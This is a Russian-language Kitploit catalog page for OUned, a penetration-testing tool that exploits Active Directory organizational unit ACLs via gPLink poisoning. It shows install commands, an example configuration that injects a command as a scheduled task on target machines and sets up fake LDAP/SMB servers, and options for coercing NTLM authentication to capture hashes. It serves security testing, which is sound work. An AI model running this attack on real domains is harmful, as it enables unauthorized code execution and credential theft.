Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
OUned — Проект OUned, автоматизирующий эксплуатацию ACL организационных подразделений Active Directory через отравление gPLink | Kitploit
Инструменты/GitHubGitHub/synacktiv/ouned
Повышение привилегийЭксплуатацияЛатеральное перемещениеТестирование на ПроникновениеАутентификацияНеправильная Конфигурация
GitHubsynacktiv/ouned

OUned

Проект OUned, автоматизирующий эксплуатацию ACL организационных подразделений Active Directory через отравление gPLink

Репозиторий
16114212 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

OUned

Проект OUned — инструмент эксплуатации, автоматизирующий злоупотребление ACL организационных подразделений через манипуляции с gPLink.

За подробным объяснением принципа атаки, необходимой настройки, а также использования инструмента вы можете обратиться к соответствующей статье: https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory

Установка

Установка выполняется клонированием репозитория и установкой зависимостей:

root@kitploit:~
$ git clone https://github.com/synacktiv/OUned
$ python3 -m pip install -r requirements.txt

Файл конфигурации

Аргументы OUned задаются через файл конфигурации — пример файла находится в репозитории: config.example.ini.

Каждая запись описана комментарием, однако за подробными инструкциями по конфигурации обратитесь к статье, упомянутой во введении выше.

root@kitploit:~
[GENERAL]
# The target domain name
domain=corp.com

# The target DC. If not specified, defaults to the domain name
#dc=192.168.123.10

# The Distinguished Name of the target container
containerDN=OU=SERVERS,DC=corp,DC=com

# The username and password of the user having write permissions on the gPLink attribute of the target container
username=naugustine
password=Password1

# The IP address of the attacker machine on the internal network
attacker_ip=192.168.123.16

# The command that should be executed by child objects. Specifying a command will inject an immediate Scheduled Task
command=whoami > C:\poc.txt
# Alternatively to the 'command' option, you can provide a module file with the GroupPolicyBackdoor syntax - see https://github.com/synacktiv/GroupPolicyBackdoor/wiki. 'Command' and 'module' are mutually exclusive
# module=Scheduledtask_add_computer.ini

# The kind of objects targeted ("computer" or "user")
target_type=computer


[LDAP]
# The IP address of the dummy domain controller that will act as an LDAP server
ldap_ip=192.168.125.245

# Optional (used for sanity checks) - the hostname of the dummy domain controller
ldap_hostname=WIN-TTEBC5VH747

# The username and password of a domain administrator on the dummy domain controller 
ldap_username=ldapadm
ldap_password=Password1!

# The ID of the GPO (can be empty, only needs to exist) on the dummy domain controller
gpo_id=7B7D6B23-26F8-4E4B-AF23-F9B9005167F6

# The machine account name and password on the target domain that will be used to fake the LDAP server delivering the GPC
ldap_machine_name=OUNED$
ldap_machine_password=some_very_long_random_password

[SMB]
# The SMB mode can be embedded or forwarded depending on the kind of object targeted
smb_mode=embedded

# The name of the SMB share. Can be anything for embedded mode, should match an existing share on SMB dummy domain controller for forwarded mode
share_name=synacktiv

# The IP address of the dummy domain controller that will act as a SMB server. Only useful in forwarded mode
#smb_ip=192.168.126.206

# The username and password of a user having write access to the share on the SMB dummy domain controller. Only useful in forwarded mode
#smb_username=smbadm
#smb_password=Password1!

# The machine account name and password on the target domain that will be used to fake the SMB server delivering the GPT. Only useful in forwarded mode
#smb_machine_name=OUNED2$
#smb_machine_password=some_very_long_random_password

Использование OUned

Единственный обязательный аргумент при запуске OUned — флаг --config, указывающий путь к файлу конфигурации.

Флаги --just-coerce и coerce-to используются в режиме принудительной SMB-аутентификации, в котором OUned принуждает дочерние объекты OU выполнять SMB-аутентификацию на указанный адрес — подробнее см. статью, указанную во введении.

Что касается флага --just-clean, см. следующий раздел.

root@kitploit:~
python3 OUned.py --help
                                                                                                                                                                                    
 Usage: OUned.py [OPTIONS]                                                                                                                                                          
                                                                                                                                                                                    
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --config               TEXT  The configuration file for OUned [default: None] [required]                                                                                      │
│    --skip-checks                Do not perform the various checks related to the exploitation setup                                                                              │
│    --just-coerce                Only coerce SMB NTLM authentication of OU child objects to the destination specified in the --coerce-to flag, or, if no destination is           │
│                                 specified, to a local SMB server that will print their NetNTLMv2 hashes                                                                          │
│    --coerce-to            TEXT  Coerce child objects SMB NTLM authentication to a specific destination - this argument should be an IP address [default: None]                   │
│    --just-clean                 This flag indicates that OUned should only perform cleaning actions from specified cleaning-file                                                 │
│    --cleaning-file        TEXT  The path to the cleaning file in case the --just-clean flag is used [default: None]                                                              │
│    --verbose                    Enable verbose output                                                                                                                            │
│    --help                       Show this message and exit.                                                                                                                      │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

Очистка

По умолчанию, как объясняется в статье, OUned выполняет действия по очистке и, среди прочего, восстанавливает исходное значение gPLink в целевом домене. В случае, если эксплойт не смог корректно завершиться, OUned при каждом запуске создаёт файл очистки, который впоследствии можно использовать для восстановления легитимных значений с помощью флага --just-clean; например:

root@kitploit:~
$ python3 OUned.py --config config.example.ini --just-clean --cleaning-file cleaning/FINANCE/2024_04_14-05_02_46.txt
Скачать инструмент